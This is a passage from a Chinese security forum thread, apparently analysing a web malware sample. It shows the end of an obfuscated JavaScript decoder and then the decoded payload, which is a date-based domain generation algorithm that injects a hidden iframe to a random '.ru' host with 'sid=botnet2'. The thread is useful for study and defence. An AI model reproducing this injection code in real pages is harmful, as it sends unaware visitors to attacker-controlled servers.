20,32,4,1,74,4,1,74,4,1" [sp](",");
  3177.     }
  3178.     w = f;
  3179.     s = [];
  3180.     for (i = 2 - 2; - i + 1314 != 0; i += 1) {
  3181.         j = i;
  3182.         if ((0x19 == 031)) if (e) s += ff(e(aq + (w[j])) + 0xa - bv);
  3183.     }
  3184.     za = e;
  3185.     za(s)
  3186. } /*/da3e94*/
复制代码
  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码
  1. j % 2
复制代码
av6.jpg fs6.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 15:59 , Processed in 0.151598 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表